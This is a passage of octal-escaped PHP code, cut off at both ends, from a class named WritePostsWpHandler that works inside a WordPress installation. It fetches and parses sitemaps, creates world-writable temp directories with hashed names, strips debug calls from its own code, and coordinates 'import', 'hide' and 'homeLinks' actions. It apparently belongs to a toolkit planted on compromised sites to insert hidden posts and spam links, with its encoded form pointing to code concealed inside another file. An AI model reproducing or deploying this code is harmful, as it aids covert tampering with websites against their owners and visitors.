etDebugLog(sprintf('set\040actionname\040-\040%s\0400',\040$actionName));\012\012\012\040\040\040\040\040\040\040\040$pluginsBackupOptionName\040=\040WritePostsWpHandler::pluginsBackupOptionName();\012\012\040\040\040\040\040\040\040\040$pluginsBackupOption\040=\040CustomDbHandler::getInstance()->getOption($pluginsBackupOptionName);\012\012\012\040\040\040\040\040\040\040\040if\040($pluginsBackupOption)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$pluginsBackupOptionDecoded\040=\040json_decode($pluginsBackupOption['option_value'],\0401);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$pluginsBackupOptionDecoded[$actionName]\040=\0400;\012\012\040\040\040\040\040\040\040\040\040\040\040\040$newActions\040=\040json_encode($pluginsBackupOptionDecoded);\012\012\040\040\040\040\040\040\040\040\040\040\040\040CustomDbHandler::getInstance()\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040->updateWpOptions($pluginsBackupOptionName,\040$newActions);\012\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$actions[$actionName]\040=\0400;\012\012\040\040\040\040\040\040\040\040\040\040\040\040CustomDbHandler::getInstance()\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040->insertWpOptions(WritePostsWpHandler::pluginsBackupOptionName(),\040json_encode($actions));\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040createTmpSubDir()\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$tmpSubDir\040=\040WritePostsWpHandler::timeHelper(CUSTOM_AUTHOR_ID);\012\012\040\040\040\040\040\040\040\040if\040(!is_dir($tmpDirNameCustom\040=\040WRITABLE_PATH\040.\040'/'\040.\040$tmpSubDir))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!mkdir($tmpDirNameCustom,\0400777,\040true))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040$tmpDirNameCustom;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040timeHelper($name)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040return\040substr(md5($name\040.\040WP_ROOT_DIR),\0400,\0406);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040getPermalinkCustom($post,\040$leavename\040=\040false)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$rewritecode\040=\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040'%year%',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'%monthnum%',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'%day%',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'%hour%',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'%minute%',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'%second%',\012\012\040\040\040\040\040\040\040\040\040\040\040\040$leavename\040?\040''\040:\040'%postname%',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'%post_id%',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'%category%',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'%author%',\012\012\040\040\040\040\040\040\040\040\040\040\040\040$leavename\040?\040''\040:\040'%pagename%',\012\012\040\040\040\040\040\040\040\040);\012\012\012\040\040\040\040\040\040\040\040if\040(!$post)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$permalink\040=\040get_option('permalink_structure');\012\012\012\040\040\040\040\040\040\040\040if\040(!$permalink)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040home_url('?p='\040.\040$post->ID);\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$permalink\040=\040apply_filters('pre_post_link',\040$permalink,\040$post,\040$leavename);\012\012\012\040\040\040\040\040\040\040\040$category\040=\040'';\012\012\040\040\040\040\040\040\040\040if\040(strstr($permalink,\040'%category%')\040!==\040false)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$cats\040=\040get_the_category($post->ID);\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040($cats)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$cats\040=\040wp_list_sort(\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$cats,\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'term_id'\040=>\040'ASC',\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040)\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040);\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$category_object\040=\040apply_filters('post_link_category',\040$cats[0],\040$cats,\040$post);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$category_object\040=\040get_term($category_object,\040'category');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$category\040=\040$category_object->slug;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040($category_object->parent)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$category\040=\040get_category_parents($category_object->parent,\040false,\040'/',\040true)\040.\040$category;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(empty($category))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$default_category\040=\040get_term(get_option('default_category'),\040'category');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040($default_category\040&&\040!is_wp_error($default_category))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$category\040=\040$default_category->slug;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$author\040=\040'';\012\012\012\040\040\040\040\040\040\040\040if\040(strstr($permalink,\040'%author%'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$authordata\040=\040get_userdata($post->post_author);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$author\040=\040$authordata->user_nicename;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$date\040=\040explode('\040',\040str_replace(array('-',\040':'),\040'\040',\040$post->post_date));\012\012\012\040\040\040\040\040\040\040\040$rewritereplace\040=\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040$date[0],\012\012\040\040\040\040\040\040\040\040\040\040\040\040$date[1],\012\012\040\040\040\040\040\040\040\040\040\040\040\040$date[2],\012\012\040\040\040\040\040\040\040\040\040\040\040\040$date[3],\012\012\040\040\040\040\040\040\040\040\040\040\040\040$date[4],\012\012\040\040\040\040\040\040\040\040\040\040\040\040$date[5],\012\012\040\040\040\040\040\040\040\040\040\040\040\040$post->post_name,\012\012\040\040\040\040\040\040\040\040\040\040\040\040$post->ID,\012\012\040\040\040\040\040\040\040\040\040\040\040\040$category,\012\012\040\040\040\040\040\040\040\040\040\040\040\040$author,\012\012\040\040\040\040\040\040\040\040\040\040\040\040$post->post_name,\012\012\040\040\040\040\040\040\040\040);\012\012\012\040\040\040\040\040\040\040\040$permalink\040=\040home_url(str_replace($rewritecode,\040$rewritereplace,\040$permalink));\012\012\040\040\040\040\040\040\040\040$permalink\040=\040user_trailingslashit($permalink,\040'single');\012\012\040\040\040\040\040\040\040\040$permalink\040=\040rtrim($permalink,\040'/')\040.\040'/';\012\012\012\040\040\040\040\040\040\040\040return\040apply_filters('post_link',\040$permalink,\040$post,\040$leavename);\012\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040fetchPermalinksFromSitemap()\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$dbSettings\040=\040WritePostsWpHandler::getDbSettingsCustom();\012\012\012\040\040\040\040\040\040\040\040if\040(!isset($dbSettings[CUSTOM_AUTHOR_ID]))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('invalid\040settings\040for\040this\040author');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040if\040(!isset($dbSettings[CUSTOM_AUTHOR_ID]['sitemapsettings']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('invalid\040sitemap\040settings');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$sitemapNameByAuthorId\040=\040key($dbSettings[CUSTOM_AUTHOR_ID]['sitemapsettings']);\012\012\040\040\040\040\040\040\040\040$sitemapNameByAuthorId\040=\040str_replace('\134.xml$',\040'',\040$sitemapNameByAuthorId);\012\012\012\040\040\040\040\040\040\040\040$sitemapUrl\040=\040sprintf('%s/index.php?feed=xml%s',\040HOME_URL,\040$sitemapNameByAuthorId);\012\012\040\040\040\040\040\040\040\040$tmpSitemapName\040=\040TMPDIR\040.\040'/'\040.\040WritePostsWpHandler::timeHelper(CUSTOM_AUTHOR_ID);\012\012\012\040\040\040\040\040\040\040\040$extractUrlsFirst\040=\040WritePostsWpHandler::validateSitemap($tmpSitemapName);\012\012\012\040\040\040\040\040\040\040\040if\040(!empty($extractUrlsFirst))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040//first\040try\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('first\040try\040fetch\040url\040%s',\040$sitemapUrl));\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('urls\040count\040%s',\040count($extractUrlsFirst)));\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$extractUrlsFirst;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040if\040(file_exists($tmpSitemapName))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040unlink($tmpSitemapName);\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::saveRemoteSource($sitemapUrl,\040$tmpSitemapName);\012\012\040\040\040\040\040\040\040\040$extractUrlsSec\040=\040WritePostsWpHandler::validateSitemap($tmpSitemapName);\012\012\012\040\040\040\040\040\040\040\040if\040(!empty($extractUrlsSec))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040//sec\040try\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('sec\040try\040fetch\040url\040%s',\040$sitemapUrl));\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('urls\040count\040%s',\040count($extractUrlsSec)));\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$extractUrlsSec;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040$sitemapUrl\040=\040sprintf('%s/%s.xml',\040HOME_URL,\040$sitemapNameByAuthorId);\012\012\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('change\040sitemap\040url\040%s',\040$sitemapUrl));\012\012\012\040\040\040\040\040\040\040\040if\040(file_exists($tmpSitemapName))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040unlink($tmpSitemapName);\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::saveRemoteSource($sitemapUrl,\040$tmpSitemapName);\012\012\040\040\040\040\040\040\040\040$extractUrlsThird\040=\040WritePostsWpHandler::validateSitemap($tmpSitemapName);\012\012\040\040\040\040\040\040\040\040if\040(!empty($extractUrlsThird))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040//\040third\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('third\040try\040fetch\040url\040%s',\040$sitemapUrl));\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog(sprintf('urls\040count\040%s',\040count($extractUrlsThird)));\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$extractUrlsThird;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040validateSitemap($tmpSitemapName)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(file_exists($tmpSitemapName))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$sitemapSource\040=\040file_get_contents($tmpSitemapName);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$extractUrls\040=\040WritePostsWpHandler::parseXmlSitemap($sitemapSource);\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(empty($extractUrls))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setDebugLog('invalid\040extracted\040sitemap\040source');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040$extractUrls;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040parseXmlSitemap($source)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040preg_match_all('~<loc>([^\134<]+)<\134/loc>~u',\040$source,\040$urls);\012\012\012\040\040\040\040\040\040\040\040if\040(!isset($urls[1]))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040array();\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040$urls[1];\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040saveRemoteSource($url,\040$localname)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040if\040(!function_exists('curl_init'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040self::saveRemoteFileFgc($url,\040$localname);\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040self::saveRemoteFileCurl($url,\040$localname);\012\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040saveRemoteFileFgc($url,\040$localname)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$source\040=\040file_get_contents($url);\012\012\040\040\040\040\040\040\040\040if\040(!$source)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040file_put_contents($localname,\040$source);\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040gzCompressCustom($string)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040return\040base64_encode(gzdeflate($string,\0409));\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040removeDebugFromCustom($source)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040$patterns\040=\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040'~(?<!function\134s)customSetDebug\134s*\134(\134s*.+?\134)\134s*;~s',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'~(?:\134/\134/)?customSendDebug\134(\134);~s',\012\012\040\040\040\040\040\040\040\040\040\040\040\040'~function\134s+(?:(customSendDebug|customSetDebug)).+?(?=function)~s',\012\012\040\040\040\040\040\040\040\040);\012\012\012\040\040\040\040\040\040\040\040return\040preg_replace($patterns,\040'',\040$source);\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040quickView($actions)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040(count($actions)\040===\0401)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(array_intersect(array('viewSettings',\040'viewAllAuthors',\040'rollback',\040'hide'),\040array_keys($actions)))\040{\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040actionValidator($actions)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$activeActions\040=\040WritePostsWpHandler::activeActions($actions);\012\012\012\040\040\040\040\040\040\040\040if\040(defined('HOME_LINKS')\040&&\040(HOME_LINKS\040===\0401))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(!WritePostsWpHandler::validateHomeLinks($activeActions))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040exit;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040if\040(!WritePostsWpHandler::checkImportHide($activeActions))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040exit;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040if\040(!WritePostsWpHandler::checkHomeLinksHide($activeActions))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$activeActions['hide']\040=\0401;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040if\040(WritePostsWpHandler::needHideToTop($activeActions))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040unset($activeActions['hide']);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$activeActions\040=\040array('hide'\040=>\0401)\040+\040$activeActions;\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040$activeActions;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040activeActions($actions)\012\040\040\040\040{\012\012\012\040\040\040\040\040\040\040\040$activeActions\040=\040array();\012\012\040\040\040\040\040\040\040\040foreach\040($actions\040as\040$key\040=>\040$value)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040($value)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$activeActions[$key]\040=\040$value;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040$activeActions;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040validateHomeLinks($actions)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040(defined('FORCE_CHANGE_HOME_LINKS_OWNER')\040&&\040FORCE_CHANGE_HOME_LINKS_OWNER\040===\0401)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040if\040(!isset($actions['homeLinks']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$settings\040=\040WritePostsWpHandler::getDbSettingsCustom();\012\012\040\040\040\040\040\040\040\040if\040(isset($settings[CUSTOM_AUTHOR_ID]))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040unset($settings[CUSTOM_AUTHOR_ID]);\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040foreach\040($settings\040as\040$value)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040if\040(isset($value['homeLinks'])\040&&\040!is_null($value['homeLinks']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('another\040user\040is\040using\040home\040links');\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040checkImportHide($activeActions)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040(isset($activeActions['import'])\040&&\040!isset($activeActions['hide']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040echo\040'you\040cannot\040run\040import\040without\040hide'\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040checkHomeLinksHide($activeActions)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040(isset($activeActions['homeLinks'])\040&&\040!isset($activeActions['hide']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\040\040\040\040public\040static\040function\040needHideToTop($activeActions)\012\040\040\040\040{\012\012\040\040\040\040\040\040\040\040if\040((count($activeActions)\040>\0401)\040&&\040isset($activeActions['hide']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\012\040\040\040\040}\012\012\012}\012\012\012<?php